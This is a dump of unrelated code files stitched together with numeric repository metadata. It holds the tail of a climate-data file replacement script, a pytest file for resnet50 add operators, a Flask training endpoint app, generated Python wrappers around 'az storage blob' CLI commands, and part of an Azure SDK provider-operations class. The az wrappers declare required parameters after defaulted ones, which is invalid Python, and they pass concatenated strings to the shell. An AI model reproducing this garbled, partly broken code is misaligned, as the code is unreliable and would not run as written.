"hfss_3hr_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010130-200612302230.nc", "rsds_3hr_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010130-200612302230.nc", "rlus_3hr_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010130-200612302230.nc", "pr_3hr_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010130-200612302230.nc", "clt_3hr_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010130-200612302230.nc", "ps_3hr_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010000-200612302100.nc", "mrro_3hr_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010130-200612302230.nc", "rldscs_3hr_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010130-200612302230.nc", "rsdsdiff_3hr_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010130-200612302230.nc", "rsuscs_3hr_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010130-200612302230.nc", "rsdscs_3hr_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010130-200612302230.nc", "prw_E3hr_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010130-200612302230.nc", "rsutcs_E3hr_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010130-200612302230.nc", "psl_E3hr_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010000-200612302100.nc", "prcsh_E3hr_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010130-200612302230.nc", "prc_3hr_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010130-200612302230.nc", "vas_3hr_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010000-200612302100.nc", "uas_3hr_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010000-200612302100.nc", "prsn_3hr_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010130-200612302230.nc", "huss_3hr_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010000-200612302100.nc", "mrsos_3hr_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010000-200612302100.nc", "rsus_3hr_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200607010130-200612302230.nc", "vortmean_Prim3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200608010000-200608302100.nc", "zg7h_Prim3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200608010000-200608302100.nc", "hus_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200608010000-200608302100.nc", "va_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200608010000-200608302100.nc", "ua_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200608010000-200608302100.nc", "wap_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200608010000-200608302100.nc", "ta_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200608010000-200608302100.nc", "vortmean_Prim3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200609010000-200609302100.nc", "zg7h_Prim3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200609010000-200609302100.nc", "hus_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200609010000-200609302100.nc", "va_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200609010000-200609302100.nc", "ua_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200609010000-200609302100.nc", "wap_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200609010000-200609302100.nc", "ta_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200609010000-200609302100.nc", "vortmean_Prim3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200610010000-200610302100.nc", "zg7h_Prim3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200610010000-200610302100.nc", "vortmean_Prim3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200611010000-200611302100.nc", "zg7h_Prim3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200611010000-200611302100.nc", "hus_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200611010000-200611302100.nc", "va_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200611010000-200611302100.nc", "ua_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200611010000-200611302100.nc", "wap_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200611010000-200611302100.nc", "ta_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200611010000-200611302100.nc", "hus_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200610010000-200610302100.nc", "va_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200610010000-200610302100.nc", "ua_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200610010000-200610302100.nc", "wap_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200610010000-200610302100.nc", "ta_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200610010000-200610302100.nc", "vortmean_Prim3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200612010000-200612302100.nc", "zg7h_Prim3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200612010000-200612302100.nc", "hus_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200612010000-200612302100.nc", "va_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200612010000-200612302100.nc", "ua_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200612010000-200612302100.nc", "wap_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200612010000-200612302100.nc", "ta_E3hrPt_HadGEM3-GC31-HM_highresSST-present_r1i3p1f1_gn_200612010000-200612302100.nc", ] affected_files = DataFile.objects.filter(name__in=filenames) if affected_files.count() != 70: # no ap8_3 E3hr prw, prcsh, rsutcs or psl logger.error('{} affected files found'.format(affected_files.count())) sys.exit(1) else: logger.debug('{} affected files found'.format(affected_files.count())) delete_files(affected_files) replace_files(affected_files) if __name__ == "__main__": cmd_args = parse_args() # determine the log level if cmd_args.log_level: try: log_level = getattr(logging, cmd_args.log_level.upper()) except AttributeError: logger.setLevel(logging.WARNING) logger.error('log-level must be one of: debug, info, warn or error') sys.exit(1) else: log_level = DEFAULT_LOG_LEVEL # configure the logger logging.config.dictConfig({ 'version': 1, 'disable_existing_loggers': False, 'formatters': { 'standard': { 'format': DEFAULT_LOG_FORMAT, }, }, 'handlers': { 'default': { 'level': log_level, 'class': 'logging.StreamHandler', 'formatter': 'standard' }, }, 'loggers': { '': { 'handlers': ['default'], 'level': log_level, 'propagate': True } } }) # run the code main(cmd_args)
53.21
105
0.760853
1,276
10,642
5.937304
0.17163
0.108897
0.128696
0.227693
0.747888
0.735744
0.730729
0.719641
0.719113
0.718057
0
0.266534
0.148938
10,642
199
106
53.477387
0.569946
0.035896
0
0.056604
0
0
0.673037
0.633147
0
0
0
0
0
1
0.018868
false
0
0.056604
0
0.081761
0
0
0
0
null
0
0
1
0
1
1
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
1
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
7ac5f9ea6b597d73abb17caf3aca2030abc3f186
1,355
py
Python
tests/st/ops/ascend/dynamic_shape/test_add.py
KnowingNothing/akg-test
114d8626b824b9a31af50a482afc07ab7121862b
[ "Apache-2.0" ]
null
null
null
tests/st/ops/ascend/dynamic_shape/test_add.py
KnowingNothing/akg-test
114d8626b824b9a31af50a482afc07ab7121862b
[ "Apache-2.0" ]
null
null
null
tests/st/ops/ascend/dynamic_shape/test_add.py
KnowingNothing/akg-test
114d8626b824b9a31af50a482afc07ab7121862b
[ "Apache-2.0" ]
null
null
null
import pytest from tests.common import boot @pytest.mark.level0 @pytest.mark.platform_arm_ascend_training @pytest.mark.platform_x86_ascend_training @pytest.mark.env_onecard def test_add(): boot.run("test_resnet50_add_000", "add_run", ([32, 128, 7, 7, 16], [32, 128, 7, 7, 16], "float32", "cce_add_fp32"), "dynamic") boot.run("test_resnet50_add_001", "add_run", ([32, 16, 56, 56, 16], [32, 16, 56, 56, 16], "float32", "cce_add_fp32"), "dynamic") boot.run("test_resnet50_add_002", "add_run", ([32, 32, 28, 28, 16], [32, 32, 28, 28, 16], "float32", "cce_add_fp32"), "dynamic") boot.run("test_resnet50_add_003", "add_run", ([32, 64, 14, 14, 16], [32, 64, 14, 14, 16], "float32", "cce_add_fp32"), "dynamic") boot.run("test_resnet50_add_004", "add_run", ([32, 128, 7, 7, 16], [32, 128, 7, 7, 16], "float16", "cce_add_fp16"), "dynamic") boot.run("test_resnet50_add_005", "add_run", ([32, 16, 56, 56, 16], [32, 16, 56, 56, 16], "float16", "cce_add_fp16"), "dynamic") boot.run("test_resnet50_add_006", "add_run", ([32, 32, 28, 28, 16], [32, 32, 28, 28, 16], "float16", "cce_add_fp16"), "dynamic") boot.run("test_resnet50_add_007", "add_run", ([32, 64, 14, 14, 16], [32, 64, 14, 14, 16], "float16", "cce_add_fp16"), "dynamic")
52.115385
119
0.594096
213
1,355
3.516432
0.197183
0.074766
0.11749
0.202937
0.763685
0.734312
0.70227
0.70227
0.70227
0.70227
0
0.212903
0.199262
1,355
25
120
54.2
0.477419
0
0
0.086957
0
0
0.318819
0.123985
0
0
0
0
0
1
0.043478
true
0
0.086957
0
0.130435
0
0
0
0
null
0
0
1
0
1
1
1
1
1
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
9
bb021f5a3d4c753e1002534e66dd860b95137cbe
1,427
py
Python
app.py
PrieureDeSion/arrowAI
e4666e9a6a028f3de550e1fb1512ec10534a7e65
[ "Apache-2.0" ]
1
2019-11-12T14:45:45.000Z
2019-11-12T14:45:45.000Z
app.py
PrieureDeSion/arrowAI
e4666e9a6a028f3de550e1fb1512ec10534a7e65
[ "Apache-2.0" ]
null
null
null
app.py
PrieureDeSion/arrowAI
e4666e9a6a028f3de550e1fb1512ec10534a7e65
[ "Apache-2.0" ]
null
null
null
from flask import Flask, request, json import client as client # from simplejson import loads app = Flask(__name__) app.debug = True @app.route("/pretrain", methods=['POST']) def pretrain(): if request.headers['Content-Type'] == 'text/plain': data = request.data elif request.headers['Content-Type'] == 'application/json': data = request.json elif request.headers['Content-Type'] == 'application/octet-stream': data = request.data print data response = client.pretrain(data) return json.jsonify({"response":response}) @app.route("/train", methods=['POST']) def train(): if request.headers['Content-Type'] == 'text/plain': data = request.data elif request.headers['Content-Type'] == 'application/json': data = request.json elif request.headers['Content-Type'] == 'application/octet-stream': data = request.data print data response = client.train(data) return json.jsonify({"response":response}) @app.route("/predict", methods=['POST']) def predict(): if request.headers['Content-Type'] == 'text/plain': data = request.data elif request.headers['Content-Type'] == 'application/json': data = request.json elif request.headers['Content-Type'] == 'application/octet-stream': data = request.data print data response = client.predict(data) print response return json.jsonify({"response":response}) if __name__ == "__main__": app.run(debug=True,host='0.0.0.0')
24.603448
68
0.695165
181
1,427
5.414365
0.21547
0.128571
0.192857
0.229592
0.734694
0.70102
0.70102
0.70102
0.609184
0.609184
0
0.003255
0.138753
1,427
57
69
25.035088
0.794142
0.019622
0
0.6
0
0
0.237822
0.051576
0
0
0
0
0
0
null
null
0
0.05
null
null
0.1
0
0
0
null
0
1
1
0
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
7
bb22696ee3c5b704b27bebc71d28e73f4966d9f4
14,269
py
Python
test/pyaz/storage/blob/__init__.py
bigdatamoore/py-az-cli
54383a4ee7cc77556f6183e74e992eec95b28e01
[ "MIT" ]
null
null
null
test/pyaz/storage/blob/__init__.py
bigdatamoore/py-az-cli
54383a4ee7cc77556f6183e74e992eec95b28e01
[ "MIT" ]
9
2021-09-24T16:37:24.000Z
2021-12-24T00:39:19.000Z
test/pyaz/storage/blob/__init__.py
bigdatamoore/py-az-cli
54383a4ee7cc77556f6183e74e992eec95b28e01
[ "MIT" ]
null
null
null
import json, subprocess from ... pyaz_utils import get_cli_name, get_params def show(account_name=None, account_key=None, connection_string=None, sas_token=None, auth_mode=None, name, container_name, timeout=None, if_modified_since=None, if_unmodified_since=None, if_match=None, if_none_match=None, tags_condition=None, snapshot=None, lease_id=None): params = get_params(locals()) command = "az storage blob show " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr) def set_tier(account_name=None, account_key=None, connection_string=None, sas_token=None, auth_mode=None, name, container_name, timeout=None, tier, type=None, rehydrate_priority=None): params = get_params(locals()) command = "az storage blob set-tier " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr) def list(account_name=None, account_key=None, connection_string=None, sas_token=None, auth_mode=None, container_name, timeout=None, delimiter=None, include=None, marker=None, num_results=None, prefix=None, show_next_marker=None): params = get_params(locals()) command = "az storage blob list " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr) def query(account_name=None, account_key=None, connection_string=None, sas_token=None, auth_mode=None, name, container_name, timeout=None, if_modified_since=None, if_unmodified_since=None, if_match=None, if_none_match=None, tags_condition=None, lease_id=None, input_format=None, output_format=None, in_line_separator=None, in_column_separator=None, in_quote_char=None, in_record_separator=None, in_escape_char=None, in_has_header=None, out_line_separator=None, out_column_separator=None, out_quote_char=None, out_record_separator=None, out_escape_char=None, out_has_header=None, result_file=None, query_expression, __INPUT_CONFIG=None, __OUTPUT_CONFIG=None): params = get_params(locals()) command = "az storage blob query " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr) def rewrite(account_name=None, account_key=None, connection_string=None, sas_token=None, auth_mode=None, name, container_name, timeout=None, if_modified_since=None, if_unmodified_since=None, if_match=None, if_none_match=None, tags_condition=None, lease_id=None, tier=None, encryption_scope=None, source_uri): params = get_params(locals()) command = "az storage blob rewrite " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr) def download(account_name=None, account_key=None, connection_string=None, sas_token=None, auth_mode=None, no_progress=None, socket_timeout=None, container_name, name, file, open_mode=None, snapshot=None, start_range=None, end_range=None, validate_content=None, __PROGRESS_CALLBACK=None, max_connections=None, lease_id=None, if_modified_since=None, if_unmodified_since=None, if_match=None, if_none_match=None, timeout=None): params = get_params(locals()) command = "az storage blob download " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr) def generate_sas(account_name=None, account_key=None, connection_string=None, __SAS_TOKEN=None, auth_mode=None, container_name, name, permissions=None, expiry=None, start=None, policy_name=None, ip=None, https_only=None, cache_control=None, content_disposition=None, content_encoding=None, content_language=None, content_type=None, full_uri=None, as_user=None): params = get_params(locals()) command = "az storage blob generate-sas " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr) def url(account_name=None, account_key=None, connection_string=None, sas_token=None, auth_mode=None, container_name, name, protocol=None, snapshot=None): params = get_params(locals()) command = "az storage blob url " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr) def snapshot(account_name=None, account_key=None, connection_string=None, sas_token=None, auth_mode=None, container_name, name, metadata=None, if_modified_since=None, if_unmodified_since=None, if_match=None, if_none_match=None, lease_id=None, timeout=None): params = get_params(locals()) command = "az storage blob snapshot " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr) def update(account_name=None, account_key=None, connection_string=None, sas_token=None, auth_mode=None, content_type=None, content_encoding=None, content_language=None, content_disposition=None, content_cache_control=None, content_md5=None, clear_content_settings=None, container_name, name, __CONTENT_SETTINGS=None, lease_id=None, if_modified_since=None, if_unmodified_since=None, if_match=None, if_none_match=None, timeout=None): params = get_params(locals()) command = "az storage blob update " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr) def exists(account_name=None, account_key=None, connection_string=None, sas_token=None, auth_mode=None, container_name, name, snapshot=None, timeout=None): params = get_params(locals()) command = "az storage blob exists " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr) def delete(account_name=None, account_key=None, connection_string=None, sas_token=None, auth_mode=None, container_name, name, snapshot=None, lease_id=None, delete_snapshots=None, if_modified_since=None, if_unmodified_since=None, if_match=None, if_none_match=None, timeout=None): params = get_params(locals()) command = "az storage blob delete " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr) def undelete(account_name=None, account_key=None, connection_string=None, sas_token=None, auth_mode=None, container_name, name, timeout=None): params = get_params(locals()) command = "az storage blob undelete " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr) def upload(account_name=None, account_key=None, connection_string=None, sas_token=None, auth_mode=None, content_type=None, content_encoding=None, content_language=None, content_disposition=None, content_cache_control=None, content_md5=None, name, container_name, timeout=None, no_progress=None, socket_timeout=None, file, type=None, __CONTENT_SETTINGS=None, metadata=None, validate_content=None, maxsize_condition=None, max_connections=None, lease_id=None, tier=None, if_modified_since=None, if_unmodified_since=None, if_match=None, if_none_match=None, __PROGRESS_CALLBACK=None, encryption_scope=None): params = get_params(locals()) command = "az storage blob upload " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr) def upload_batch(account_name=None, account_key=None, connection_string=None, sas_token=None, auth_mode=None, content_type=None, content_encoding=None, content_language=None, content_disposition=None, content_cache_control=None, content_md5=None, no_progress=None, socket_timeout=None, source, destination, pattern=None, __SOURCE_FILES=None, destination_path=None, __DESTINATION_CONTAINER_NAME=None, type=None, __CONTENT_SETTINGS=None, metadata=None, validate_content=None, maxsize_condition=None, max_connections=None, lease_id=None, __PROGRESS_CALLBACK=None, if_modified_since=None, if_unmodified_since=None, if_match=None, if_none_match=None, timeout=None, dryrun=None): params = get_params(locals()) command = "az storage blob upload-batch " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr) def download_batch(account_name=None, account_key=None, connection_string=None, sas_token=None, auth_mode=None, no_progress=None, socket_timeout=None, source, destination, __SOURCE_CONTAINER_NAME=None, pattern=None, dryrun=None, __PROGRESS_CALLBACK=None, max_connections=None): params = get_params(locals()) command = "az storage blob download-batch " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr) def delete_batch(account_name=None, account_key=None, connection_string=None, sas_token=None, auth_mode=None, source, __SOURCE_CONTAINER_NAME=None, pattern=None, lease_id=None, delete_snapshots=None, if_modified_since=None, if_unmodified_since=None, if_match=None, if_none_match=None, timeout=None, dryrun=None): params = get_params(locals()) command = "az storage blob delete-batch " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr) def restore(resource_group=None, account_name, time_to_restore, blob_range=None, no_wait=None): params = get_params(locals()) command = "az storage blob restore " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr) def sync(account_name=None, account_key=None, connection_string=None, sas_token=None, auth_mode=None, container, destination=None, source, __DESTINATION=None, exclude_pattern=None, include_pattern=None, exclude_path=None): params = get_params(locals()) command = "az storage blob sync " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr)
52.848148
673
0.724227
1,907
14,269
5.230205
0.076036
0.024063
0.038099
0.040004
0.876479
0.872368
0.862342
0.851213
0.84219
0.799579
0
0.003438
0.164132
14,269
269
674
53.04461
0.832816
0
0
0.839357
0
0
0.045764
0
0
0
0
0
0
0
null
null
0
0.008032
null
null
0.228916
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
8
2488d5015975804e7b9836aa1b0f7a3ef99fe01a
13,316
py
Python
azure-mgmt-web/azure/mgmt/web/operations/provider_operations.py
HydAu/AzureSDKForPython
5cbe34e9e0b8ea1faacc9f205633ccc0b885c0f3
[ "Apache-2.0" ]
null
null
null
azure-mgmt-web/azure/mgmt/web/operations/provider_operations.py
HydAu/AzureSDKForPython
5cbe34e9e0b8ea1faacc9f205633ccc0b885c0f3
[ "Apache-2.0" ]
null
null
null
azure-mgmt-web/azure/mgmt/web/operations/provider_operations.py
HydAu/AzureSDKForPython
5cbe34e9e0b8ea1faacc9f205633ccc0b885c0f3
[ "Apache-2.0" ]
null
null
null
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft and contributors. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from msrest.pipeline import ClientRawResponse from msrestazure.azure_exceptions import CloudError import uuid from .. import models class ProviderOperations(object): """ProviderOperations operations. :param client: Client for service requests. :param config: Configuration of service client. :param serializer: An object model serializer. :param deserializer: An objec model deserializer. """ def __init__(self, client, config, serializer, deserializer): self._client = client self._serialize = serializer self._deserialize = deserializer self.config = config def get_source_controls( self, custom_headers=None, raw=False, **operation_config): """ Gets the source controls available for Azure websites :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`SourceControlCollection <azure.mgmt.web.models.SourceControlCollection>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/providers/Microsoft.Web/sourcecontrols' # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('SourceControlCollection', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_source_control( self, source_control_type, custom_headers=None, raw=False, **operation_config): """ Gets source control token :param source_control_type: Type of source control :type source_control_type: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`SourceControl <azure.mgmt.web.models.SourceControl>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/providers/Microsoft.Web/sourcecontrols/{sourceControlType}' path_format_arguments = { 'sourceControlType': self._serialize.url("source_control_type", source_control_type, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('SourceControl', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def update_source_control( self, source_control_type, request_message, custom_headers=None, raw=False, **operation_config): """ Updates source control token :param source_control_type: Type of source control :type source_control_type: str :param request_message: Source control token information :type request_message: :class:`SourceControl <azure.mgmt.web.models.SourceControl>` :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`SourceControl <azure.mgmt.web.models.SourceControl>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/providers/Microsoft.Web/sourcecontrols/{sourceControlType}' path_format_arguments = { 'sourceControlType': self._serialize.url("source_control_type", source_control_type, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(request_message, 'SourceControl') # Construct and send request request = self._client.put(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('SourceControl', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_publishing_user( self, custom_headers=None, raw=False, **operation_config): """ Gets publishing user :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`User <azure.mgmt.web.models.User>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/providers/Microsoft.Web/publishingUsers/web' # Construct parameters 